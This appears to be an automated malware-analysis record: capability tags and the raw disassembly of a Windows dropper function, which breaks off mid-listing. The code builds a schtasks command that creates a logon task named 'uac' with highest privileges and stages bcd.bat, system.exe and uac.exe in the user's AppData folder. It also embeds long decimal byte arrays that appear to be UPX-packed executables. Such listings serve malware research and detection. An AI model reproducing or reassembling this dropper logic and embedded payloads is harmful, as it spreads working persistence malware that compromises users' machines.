Function at 0x407c80
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Disable system features via registry on windows
Get file attributes
Get session user name
Persist via run registry key
Persist via winlogon helper dll registry key
Schedule task via schtasks
Set registry value
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42be50
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x13910
call fcn.0042b430
mov eax, dword [0x44c00c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x138d8], ecx
push str.kernel32
mov dword [ebp - 0x138cc], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov cx, word [0x447848]
movq xmm0, qword [str.IsWow64Process]
mov edx, dword [0x447844]
mov word [ebp - 0x1388c], cx
mov cl, byte [0x44784a]
mov byte [ebp - 0x1388a], cl
lea ecx, [ebp - 0x13898]
push ecx
push eax
movq qword [ebp - 0x13898], xmm0
mov dword [ebp - 0x13890], edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
je 0x407d3a
lea eax, [ebp - 0x138cc]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0x32
lea eax, [ebp - 0x180]
push 0
push eax
call fcn.004148f0
add esp, 0xc
mov dword [ebp - 0x138d4], 0x32
lea eax, [ebp - 0x138d4]
push eax
lea eax, [ebp - 0x180]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov eax, 0x20
push 0xf8
mov word [ebp - 0x118], ax
lea eax, [ebp - 0x116]
push 0
push eax
call fcn.004148f0
add esp, 0xc
push str.SystemDrive
call fcn.004183b0
lea edx, [ebp - 0x118]
add esp, 4
sub edx, eax
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0x407da2
lea ecx, [ebp - 0x118]
dec ecx
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x407db6
mov eax, dword [str.Users_]
lea edx, [ebp - 0x180]
mov dword [ecx], eax
mov esi, edx
mov eax, dword [0x435f8c]
mov dword [ecx + 4], eax
mov al, byte [edx]
inc edx
test al, al
jne 0x407dd7
lea edi, [ebp - 0x118]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407de7
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push str.SystemDrive
call fcn.004183b0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x738]
push 0x12c
push 0
push eax
call fcn.004148f0
add esp, 0xc
cmp dword [ebp - 0x138cc], 0
jne 0x407e44
xor ecx, ecx
nop dword [eax]
mov al, byte [ecx + str.cmd.exe__c]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x739], al
test al, al
jne 0x407e30
mov edx, esi
mov al, byte [esi]
inc esi
test al, al
jne 0x407e46
lea edi, [ebp - 0x738]
sub esi, edx
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407e56
mov ecx, esi
mov dword [ebp - 0x138c4], esi
mov esi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 0x138c4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x738]
dec edi
nop
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407e80
mov eax, dword [0x4361cc]
mov ecx, 0x10
movups xmm0, xmmword [str.AppDataLocal_bcd.bat]
mov esi, str.WindowsSystem32SCHTASKS.exe__create__SC_ONLOGON__TN_uac__TR__
mov dword [ebp - 0x138b0], eax
mov ax, word [0x4361d0]
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x138ac], ax
mov al, byte [0x4361d2]
mov byte [ebp - 0x138aa], al
xor eax, eax
movsb byte es:[edi], byte [esi]
xor ecx, ecx
movups xmmword [ebp - 0x138c0], xmm0
mov dword [ebp - 0x138a9], eax
mov word [ebp - 0x138a5], ax
mov byte [ebp - 0x138a3], al
nop dword [eax]
mov al, byte [ebp + ecx - 0x118]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0xa31], al
test al, al
jne 0x407ee0
lea edx, [ebp - 0x138c0]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x407f00
lea edi, [ebp - 0xa30]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407f10
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
lea edx, [ebp - 0xa30]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, edx
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x407f30
lea edi, [ebp - 0x738]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407f40
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x738]
dec ecx
nop dword [eax]
mov al, byte [ecx + 1]
lea ecx, [ecx + 1]
test al, al
jne 0x407f60
mov eax, dword [str.___RL_HIGHEST__f]
movups xmm0, xmmword [str.AppDataLocal_bcd1.bat]
mov dword [ecx], eax
mov eax, dword [0x4361d8]
mov dword [ecx + 4], eax
mov eax, dword [0x4361dc]
mov dword [ecx + 8], eax
mov eax, dword [0x4361e0]
mov dword [ecx + 0xc], eax
mov al, byte [0x4361e4]
mov byte [ecx + 0x10], al
xor eax, eax
movups xmmword [ebp - 0x138c0], xmm0
xor ecx, ecx
mov dword [ebp - 0x138a8], eax
movq xmm0, qword [0x4361f8]
movq qword [ebp - 0x138b0], xmm0
mov word [ebp - 0x138a4], ax
mov al, byte [ebp + ecx - 0x118]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x281], al
test al, al
jne 0x407fc0
lea edx, [ebp - 0x138c0]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x407fe0
lea edi, [ebp - 0x280]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x407ff0
movups xmm0, xmmword [str.AppDataLocal_system.exe]
mov ecx, edx
mov ax, word [0x436218]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
movups xmmword [ebp - 0x138c0], xmm0
xor ecx, ecx
mov word [ebp - 0x138a8], ax
movq xmm0, qword [0x436210]
movq qword [ebp - 0x138b0], xmm0
mov dword [ebp - 0x138a6], 0
nop dword [eax]
mov al, byte [ebp + ecx - 0x118]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x281], al
test al, al
jne 0x408040
lea edx, [ebp - 0x138c0]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x408060
lea edi, [ebp - 0x280]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408070
mov eax, dword [0x43622c]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
movups xmm0, xmmword [str.AppDataLocaluac.exe]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebp - 0x138b0], eax
mov ax, word [0x436230]
mov word [ebp - 0x138ac], ax
mov al, byte [0x436232]
mov byte [ebp - 0x138aa], al
xor eax, eax
movups xmmword [ebp - 0x138c0], xmm0
mov dword [ebp - 0x138a9], eax
xor ecx, ecx
mov word [ebp - 0x138a5], ax
mov byte [ebp - 0x138a3], al
nop
mov al, byte [ebp + ecx - 0x118]
lea ecx, [ecx + 1]
mov byte [ebp + ecx - 0x1009], al
test al, al
jne 0x4080d0
lea edx, [ebp - 0x138c0]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x4080f0
lea edi, [ebp - 0x1008]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x408100
mov ecx, edx
lea eax, [ebp - 0x13888]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push 0x1d7d
and ecx, 3
push str.77_90_144_0_3_0_0_0_4_0_0_0_255_255_0_0_184_0_0_0_0_0_0_0_64_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_224_0_0_0_14_31_186_14_0_180_9_205_33_184_1_76_205_33_84_104_105_115_32_112_114_111_103_114_97_109_32_99_97_110_110_111_116_32_98_101_32_114_117_110_32_105_110_32_68_79_83_32_109_111_100_101_46_13_13_10_36_0_0_0_0_0_0_0_87_92_79_159_19_61_33_204_19_61_33_204_19_61_33_204_206_194_239_204_18_61_33_204_206_194_234_204_28_61_33_204_19_61_32_204_82_61_33_204_225_100_41_205_6_61_33_204_225_100_222_204_18_61_33_204_225_100_35_205_18_61_33_204_82_105_99_104_19_61_33_204_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_80_69_0_0_100_134_3_0_109_87_37_86_0_0_0_0_0_0_0_0_240_0_35_0_11_2_14_0_0_48_0_0_0_16_0_0_0_128_0_0_32_175_0_0_0_144_0_0_0_0_0_64_1_0_0_0_0_16_0_0_0_2_0_0_6_0_1_0_6_0_1_0_6_0_1_0_0_0_0_0_0_208_0_0_0_16_0_0_0_0_0_0_2_0_32_129_0_0_16_0_0_0_0_0_0_16_0_0_0_0_0_0_0_0_16_0_0_0_0_0_0_16_0_0_0_0_0_0_0_0_0_0_16_0_0_0_0_0_0_0_0_0_0_0_28_195_0_0_232_1_0_0_0_192_0_0_28_3_0_0_0_112_0_0_44_1_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_85_80_88_48_0_0_0_0_0_128_0_0_0_16_0_0_0_0_0_0_0_4_0_0_0_0_0_0_0_0_0_0_0_0_0_0_128_0_0_224_85_80_88_49_0_0_0_0_0_48_0_0_0_144_0_0_0_34_0_0_0_4_0_0_0_0_0_0_0_0_0_0_0_0_0_0_64_0_0_224_46_114_115_114_99_0_0_0_0_16_0_0_0_192_0_0_0_6_0_0_0_38_0_0_0_0_0_0_0_0_0_0_0_0_0_0_64_0_0_192_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_0_51_46_57_49_0_85_80_88_33_13_36_2_9_119_177_58_13_16_47_197_216_140_133_0_0_21_31_0_0_0_82_0_0_73_0_0_128_255_255_111_255_69_51_201_72_133_201_116_49_4_210_116_44_72_139_193_72_59_202_116_39_68_15_183_2_102_69_133_192_119_172_251_255_116_22_72_43_209_102_68_137_0_72_131_192_2_20_4_21_117_237_18_255_219_183_93_8_43_195_204_0_72_137_92_36_11_137_116_36_16_87_72_129_236_80_47_91_249_255_10_0_0_51_192_72_141_124_36_32_185_10_2_9_84_243_170_51_251_219_183_183_246_8_13_178_33_15_65_184_4_1_5_139_222_255_21_252_32_7_111_119_127_93_96_82_45_188_36_48_43_185_32_8_48_76_141_68_107_119_103_59_19_140_63_21_235_62_6_46_102_155_108_102_237_20_148_75_142_249_118_221_183_232_2_23_148_139_216_143_13_17_148_33_38_150_221_218_114_187_102_57_116_66_116_11_76_6_17_124_32_93_110_255_251_84_156_36_153_139_195_73_139_91_16_3_115_24_227_95_185_237_182_173_189_194_196_185_88_189_104_16_3_112_24_222_240_182_125_120_32_76_139_53_40_147_139_250_77_20_3_65_137_1_110_111_111_27_28_117_18_12_192_15_132_63_1_191_102_17_0_233_248_194_155_251_8_189_86_79_216_141_117_22_139_208_235_4_55_44_188_93_31_193_2_119_41_116_247_35_17_72_82_59_214_253_246_118_195_116_6_47_221_235_49_30_222_235_40_54_59_211_116_46_102_237_62_252_223_25_50_65_255_194_59_223_117_22_65_129_250_9_115_13_90_116_8_91_247_12_205_86_150_98_70_65_102_62_117_125_183_99_183_204_78_1_116_87_255_195_48_118_153_39_4_180_7_123_236_126_152_69_137_17_65_15_146_192_198_134_242_86_62_130_139_108_4_116_36_24_125_184_253_102_178_195_219_112_120_24_85_65_84_65_3_86_65_23_202_195_95_164_141_168_136_250_255_255_171_6_253_255_69_24_126_238_219_139_241_43_241_65_139_223_233_228_4_207_217_176_59_44_44_224_57_69_10_245_9_56_117_225_125_187_177_190_43_24_209_248_15_248_100_15_135_34_181_31_59_97_247_189_48_126_65_189_230_149_12_139_205_65_188_253_197_126_120_148_192_189_64_3_17_11_13_70_60_141_157
rep movsb byte es:[edi], byte [esi]
push eax
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0x11b0b]
push 0x29
push 0
push eax
call fcn.004148f0
add esp, 0xc
lea eax, [ebp - 0x11ae2]
push 0x1d98
push str.151_238_46_225_157_196_67_141_83_35_200_145_23_132_246_194_251_11_244_186_20_171_247_144_139_202_130_251_221_25_185_125_144_137_85_144_35_5_24_136_66_24_97_155_158_115_162_80_6_138_22_108_62_77_180_199_216_131_18_3_208_12_71_22_215_201_61_125_122_208_13_46_209_126_156_26_182_237_134_211_141_75_64_93_73_100_72_214_80_61_219_67_127_69_141_79_63_148_80_188_137_192_121_62_233_186_160_16_4_233_188_189_208_1_204_230_206_62_91_85_57_141_133_17_215_239_30_236_7_17_222_133_43_188_121_248_57_59_130_189_173_89_146_212_149_41_66_111_47_240_151_217_235_28_141_66_208_102_86_9_119_24_26_194_141_52_134_182_237_167_182_109_141_118_232_9_112_15_23_59_242_100_178_217_117_223_124_118_73_194_21_239_0_59_77_186_142_120_139_15_244_205_126_8_76_132_131_254_4_8_249_64_77_135_77_182_197_0_47_157_54_56_128_33_219_147_169_59_33_48_84_57_63_185_0_187_29_186_79_88_199_193_106_128_52_124_189_20_86_217_167_222_246_117_47_116_141_58_74_53_72_140_222_12_19_166_100_186_186_54_192_204_230_216_80_240_126_50_154_46_188_176_115_97_6_88_128_20_213_236_20_219_6_109_149_199_53_12_4_64_223_15_255_221_117_50_14_4_244_235_43_129_125_156_240_35_31_5_125_54_6_13_173_13_187_159_86_15_67_200_24_152_39_121_150_195_239_216_117_31_187_203_44_1_212_178_152_99_204_0_64_83_172_231_2_95_107_236_32_139_217_17_38_21_195_200_125_177_255_54_22_196_32_91_72_255_37_31_21_40_174_33_243_192_250_141_43_72_44_249_20_43_11_21_77_184_39_61_47_63_8_87_39_116_249_227_159_26_108_33_209_76_22_246_194_2_116_7_234_117_63_246_255_192_235_21_138_194_65_34_192_246_216_13_27_201_35_193_5_8_128_118_188_161_176_48_100_107_97_201_193_234_8_130_247_210_7_75_159_30_116_128_80_35_208_226_2_31_55_38_183_54_163_208_99_26_20_42_255_117_61_181_109_182_8_14_171_137_7_16_195_6_80_197_6_51_213_129_64_217_211_64_81_11_46_195_183_75_217_90_32_79_101_179_169_211_221_222_145_19_18_131_13_211_219_116_69_101_100_238_181_214_3_215_17_65_195_63_70_50_128_12_113_37_183_82_67_18_3_43_250_242_53_251_18_61_187_3_35_16_255_182_244_19_131_101_167_57_107_172_184_48_32_55_102_115_108_184_118_62_200_57_44_7_200_193_190_6_126_240_13_111_181_19_144_193_66_216_199_59_115_247_1_90_8_185_128_98_11_151_174_196_0_133_74_112_180_36_50_246_8_134_168_132_202_140_36_160_10_232_176_35_2_221_242_38_168_163_79_12_80_27_227_161_131_145_116_96_224_56_17_89_125_178_125_241_29_116_55_17_48_156_60_19_109_182_134_222_118_35_63_197_17_157_214_20_112_222_50_149_78_14_231_120_2_224_39_102_241_32_182_221_165_235_23_67_148_109_58_184_86_112_143_180_13_84_72_187_132_185_148_105_26_122_2_202_107_24_223_32_40_125_93_24_240_94_195_143_64_164_99_52_240_1_173_170_187_60_1_183_4_135_135_245_193_27_195_17_16_15_152_216_112_128_59_72_163_116_51_49_125_120_217_200_177_254_206_17_118_17_164_17_165_134_233_12_213_56_255_207_28_216_192_3_247_194_56_26_117_93_219_54_43_200_198_10_53_120_107_65_153_50_32_53_218_81_108_1_76_76_28_54_3_198_83_19_236_22_212_199_60_4_31_109_26_78_255_155_187_253_21_65_138_4_56_68_201_136_73_61_255_199_65_56_28_56_117_225_136_83_242_3_220_31_187_108_183_64_2_64_145_3_30_126_218_112_1_26_193_159_195_194_164_158_135_17_10_216_28_33_70_149_254_92_9_155_31_9_48_65_131_234_76_230_233_107_81_161_112_80_254_178_217_198_126_189_68_3_228_16_225_189_217_42_96_113_41_146_248_174_56_3_199_189_219_67_232_38_17_11_116_155_65_136_46_83_109_219_63_214_181_44_77_72_59_200_116_34_138_84_8_132_204_23_227_221_246_246_228_112_222_193_136_17_197_193_212_8_138_208_132_121_223_134_167_118_241_198_49_59_96_51_71_12_116_88_10_173_80_19_229_180_195_233_75_152_91_115_219_0_127_12_5_127_72_6_68_254_64_108_195_9_45_80_134_105_253_21_57_217_189_56_203_215_11_226_252_64_25_164_25_164_158_56_82_48_22_175_25_164_6_40_118_88_55_106_122_31_120_63_15_54_135_48_214_15_22_132_14_242_220_187_61_16_199_79_16_68_205_112_22_90_15_87_196_99_28_25_101_97_251_220_73_137_91_8_3_107_120_137_76_65_9_28_143_57_252_47_111_53_137_39_44_18_10_62_97_141_187_248_134_176_61_120_193_46_58_194_104_112_182_9_17_133_128_33_131_118_46_4_161_115_124_122_105_15_70_139_61_196_18_63_196_64_57_70_216_107_39_12_190_64_59_74_61_4_104_104_166_63_71_159_15_108_251_154_134_247_139_142_220_1_52_102_74_76_49
push eax
call fcn.00414e60
add esp, 0xc
mov dword [ebp - 0xfd42], 0
lea eax, [ebp - 0xfd3c]
mov word [ebp - 0xfd3e], 0
xorps xmm0, xmm0
movq qword [ebp - 0xfd4a], xmm0
push 0x1c0b
push str.238_117_203_103_17_13_98_25_97_11_250_33_123_221_104_23_118_201_0_235_120_85_139_236_255_255_255_183_19_16_83_86_139_241_137_85_252_87_139_70_60_139_68_48_120_3_198_139_72_36_139_80_32_3_206_119_245_91_253_139_88_28_3_214_139_57_3_222_137_77_240_45_85_244_137_223_170_253_169_69_127_41_139_20_138_24_244_235_12_15_190_151_226_82_255_192_51_199_193_192_3_64_66_152_138_2_37_238_59_165_254_214_234_125_252_116_219_41_65_59_77_248_114_215_239_237_242_91_253_95_94_91_139_229_93_20_69_240_15_183_4_4_131_94_222_188_45_221_235_235_119_129_1_136_100_161_24_86_87_106_2_183_255_127_219_102_48_2_12_139_120_12_131_101_252_0_199_69_244_37_84_77_80_6_248_37_149_226_255_255_92_114_51_88_139_63_72_117_251_139_79_24_186_8_126_179_105_232_71_109_27_113_87_220_12_139_240_104_255_141_133_240_138_186_63_219_189_253_162_144_56_245_80_141_54_80_232_40_30_255_208_22_80_255_214_95_15_134_238_109_130_94_128_102_77_7_43_111_70_120_48_13_155_111_173_67_67_112_206_12_39_196_5_65_111_67_0_105_200_112_159_235_39_99_3_53_108_5_17_48_116_221_198_69_119_29_92_3_100_109_195_108_153_123_123_115_65_37_19_131_131_253_240_220_121_97_93_139_48_0_49_63_77_205_0_110_171_90_161_3_7_235_171_0_86_131_109_3_184_23_64_177_127_249_127_55_232_4_14_31_186_14_0_180_9_205_33_184_1_76_84_104_105_115_32_112_191_253_255_255_114_111_103_114_97_109_32_99_97_110_110_111_116_32_98_101_32_114_117_110_32_105_2_68_79_83_32_109_176_255_96_255_111_100_101_46_13_13_10_36_67_53_114_7_185_113_19_105_234_3_228_187_199_254_172_236_162_234_116_11_104_234_124_7_131_74_97_235_123_238_252_28_121_105_235_112_150_234_113_19_254_23_143_176_247_145_107_82_105_99_104_63_171_80_69_255_176_111_13_232_134_229_200_62_249_85_19_240_0_34_32_11_2_35_221_179_179_14_252_18_19_168_17_11_16_128_201_94_53_200_1_0_2_93_3_176_223_19_102_80_52_81_146_30_96_1_52_158_173_108_216_6_15_10_192_34_6_89_184_220_3_148_3_84_38_104_60_224_203_1_100_251_127_48_183_24_96_33_56_178_13_132_1_61_32_30_120_5_217_253_64_46_116_101_120_116_144_52_3_215_253_83_246_123_4_66_96_46_114_100_97_116_97_219_8_16_119_11_105_186_39_10_8_186_64_46_112_164_233_198_102_39_187_48_39_2_18_193_26_79_178_114_115_114_121_235_4_43_27_132_64_72_20_39_138_54_20_133_40_194_2_23_81_46_249_139_24_224_98_155_99_33_126_69_111_72_33_117_111_110_87_40_9_103_192_9_129_225_65_185_25_222_11_32_238_72_244_9_183_255_21_193_119_133_67_14_43_222_179_21_36_111_54_12_141_102_182_33_81_29_69_49_80_24_100_123_212_116_25_53_147_13_1_184_189_3_173_125_103_255_199_18_208_15_45_44_224_67_188_199_141_86_8_219_137_15_252_119_216_155_157_231_0_91_82_79_225_31_17_100_176_49_94_92_82_64_145_205_220_12_130_31_13_217_69_99_91_196_102_182_203_8_90_90_104_140_202_124_131_131_64_44_125_183_78_215_141_78_24_216_45_224_5_0_94_87_15_180_88_26_130_201_183_253_192_215_239_123_209_33_245_47_190_56_4_52_75_100_186_48_3_40_233_250_240_58_179_117_29_145_20_160_183_15_226_9_191_29_72_19_93_216_14_172_250_228_49_168_1_156_29_111_183_250_21_223_33_188_251_6_74_110_75_198_144_106_50_210_134_16_224_135_54_4_165_96_124_211_66_0_250_114_251_108_125_0_7_166_184_59_208_246_80_1_52_212_230_59_10_15_117_108_232_35_32_219_168_247_16_60_18_43_4_104_250_141_58_2_209_209_59_80_137_107_129_217_218_216_141_75_253_76_9_51_88_130_103_20_79_25_224_108_85_224_197_223_36_191_192_240_14_28_211_200_61_2_114_87_184_13_42_135_213_121_247_189_240_1_158_237_18_230_16_4_97_77_224_17_133_102_254_96_111_41_229_30_69_33_72_43_215_102_137_8_17_238_102_32_249_36_12_2_29_32_222_195_110_35_137_24_44_57_157_6_175_166_123_105_182_192_24_117_247_121_166_186_54_236_150_173_85_8_42_16_64_58_20_1_33_136_13_178_210_141_87_79_84_169_18_130_179_59_140_122_13_99_22_64_191_224_8_10_21_99_1_93_3_40_104_68_137_90_44_162_65_186_250_226_53_179_124_101_45_10_88_34_75_144_13_68_179_7_18_204_104_0_7_130_164_3_113_123_24_96_255_201_147_103_15_214_39_127_198_39_178_39_147_39_47_228_230_39_102_39_114_39_121_242_228_201_88_39_146_39_66_39_38_39_32_79_158_60_26_39_128_39_8_39_99_49_8_93_83_5_119_163_101_117_212_84_23_201_65_7_97_65_105_170_251_200_140_31_76_55_76_3_116_58_88_246_70_59_114_22_37_156_108_46_186_71_203_27_239_49_117_243_197_235_186_177_10
push eax
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0xe131]
push 0x19b
push 0
push eax
call fcn.004148f0
add esp, 0xc
lea eax, [ebp - 0xdf96]
push 0x17c2
push str.217_0_4_171_209_236_206_98_167_17_27_168_7_52_19_34_120_113_68_149_13_2_186_46_204_116_31_154_128_24_7_56_31_1_52_3_200_230_1_23_80_2_104_100_41_59_128_9_4_20_23_203_136_131_208_144_255_192_2_239_52_95_114_171_67_39_125_1_192_2_52_86_43_116_119_215_95_5_69_0_82_9_73_0_79_79_15_69_254_185_174_73_5_70_11_87_189_4_239_254_206_100_147_141_161_0_7_63_163_4_137_190_9_35_231_2_49_83_57_155_68_99_208_181_70_15_89_165_103_247_106_110_71_35_252_1_48_23_157_205_141_117_3_57_7_98_5_97_50_174_107_162_3_185_203_97_47_121_141_97_163_73_185_97_13_253_144_71_71_140_176_29_168_78_211_95_104_93_72_216_19_77_214_1_99_68_159_99_123_137_190_37_208_112_245_59_65_99_174_27_171_229_101_112_123_120_93_32_49_53_96_79_185_76_1_86_8_71_86_117_53_96_99_195_115_63_49_135_57_214_209_169_211_3_48_111_15_1_211_216_7_29_32_35_15_108_173_186_183_4_8_35_62_173_34_251_98_13_224_47_113_103_41_229_112_129_101_174_112_159_169_103_29_63_19_15_234_186_109_159_40_21_41_7_50_95_37_152_193_186_52_9_45_11_53_17_27_108_115_116_62_159_103_79_67_105_151_52_129_77_54_215_110_159_46_97_115_116_89_151_44_233_63_80_33_176_236_69_221_21_117_251_213_144_157_133_129_71_51_52_43_113_36_140_132_57_55_68_106_101_152_238_169_37_97_25_232_68_93_241_110_204_84_181_27_11_137_154_119_108_189_227_176_191_163_142_254_4_60_63_120_109_108_32_143_115_35_61_39_49_46_48_39_119_81_104_137_32_166_99_96_38_61_39_85_182_149_48_255_84_70_45_56_39_32_115_116_204_32_101_18_144_163_191_196_121_243_39_63_62_13_10_60_238_86_202_93_168_201_130_121_32_64_127_24_180_61_122_169_100_110_58_115_177_24_45_237_246_91_44_104_99_29_115_111_102_116_45_73_109_58_16_71_11_181_246_109_46_118_49_70_25_209_102_64_153_186_27_88_86_109_74_32_32_60_190_148_12_246_162_23_215_77_34_209_54_23_59_51_34_55_57_132_99_43_187_197_155_109_175_121_15_17_157_113_117_101_182_120_170_145_27_56_105_99_103_90_132_108_214_12_28_30_136_183_208_62_229_58_26_76_101_255_3_108_5_111_237_173_181_147_94_134_118_111_107_162_175_117_105_65_219_90_235_202_99_99_219_102_252_103_16_47_100_176_182_194_46_47_101_27_147_194_67_178_150_14_220_54_47_55_0_129_128_27_12_241_168_129_176_32_231_119_165_140_122_204_95_229_135_88_32_91_86_215_41_39_157_38_172_90_79_68_217_116_86_93_86_131_112_153_115_159_235_14_140_175_99_47_1_102_13_39_121_104_95_34_123_78_147_0_47_55_78_53_100_1_41_119_47_186_11_1_232_7_47_51_58_25_37_16_66_215_205_77_115_105_23_37_5_74_248_136_179_17_112_173_112_79_163_132_133_37_73_95_32_35_86_100_87_207_221_7_167_24_101_117_49_118_151_114_182_100_103_0_153_99_143_13_109_15_224_91_102_165_7_112_203_100_0_231_125_117_114_191_63_195_216_8_28_67_55_110_137_32_241_120_224_1_188_113_137_113_103_67_24_18_167_213_1_253_144_128_41_176_46_79_97_91_94_236_137_195_79_75_109_227_161_145_173_178_39_77_105_107_95_73_192_236_33_21_105_89_59_97_161_236_131_213_101_83_133_61_3_176_108_205_253_81_225_75_24_156_45_102_231_0_100_145_91_194_154_24_111_7_106_27_85_108_240_132_205_48_203_23_109_99_97_195_155_68_23_71_107_241_39_221_101_49_152_178_87_111_213_25_99_83_54_118_115_203_108_53_69_47_118_161_107_90_6_233_57_65_29_109_79_111_6_240_24_105_73_197_225_196_230_186_177_33_121_119_35_123_71_21_100_94_71_93_215_87_53_1_55_3_45_95_56_11_177_174_25_233_9_52_48_57_109_55_19_208_231_198_186_49_1_98_23_98_55_9_101_22_52_226_141_131_125_158_147_190_180_72_16_91_15_53_21_18_204_98_79_76_99_19_23_95_131_109_208_136_46_49_116_55_85_136_217_1_43_57_83_72_55_98_35_150_104_54_70_5_109_226_115_193_37_206_110_154_78_97_109_66_83_34_108_108_238_219_39_152_201_106_87_97_59_70_111_114_83_35_73_48_176_6_147_87_237_179_149_5_111_0_19_79_218_96_49_9_87_95_57_121_83_108_81_18_189_115_15_0_228_96_208_168_111_22_24_242_39_228_47_48_0_0_240_1_240_49_0_0_200_34_4_156_64_78_184_84_180_85_168_225_48_232_68_111_52_3_120_236_148_188_48_95_172_87_192_87_115_24_212_125_38_52_176_89_99_3_95_84_162_185_93_96_19_152_6_98_242_47_131_58_154_68_19_1_111_128_0_65_175_94_200_0_88_96_128_83_187_189_212_133_111_18_31_18_100_77_6_52_76_3_66_55_218_125_1_74_1_11_71_1_19_47_19_116_223_191_171_219_237_15_100_116_11_84_48_7_52_251_38_13_0_38_116_210_254_191_92_110_3_100_209_52_208_1_202_0_24_240_22_224
push eax
call fcn.00414e60
add esp, 0xc
lea eax, [ebp - 0xc7d4]
push 0x5e4
push 0
push eax
call fcn.004148f0
add esp, 0xc
lea eax, [ebp - 0xc1f0]
push 0x1cfc
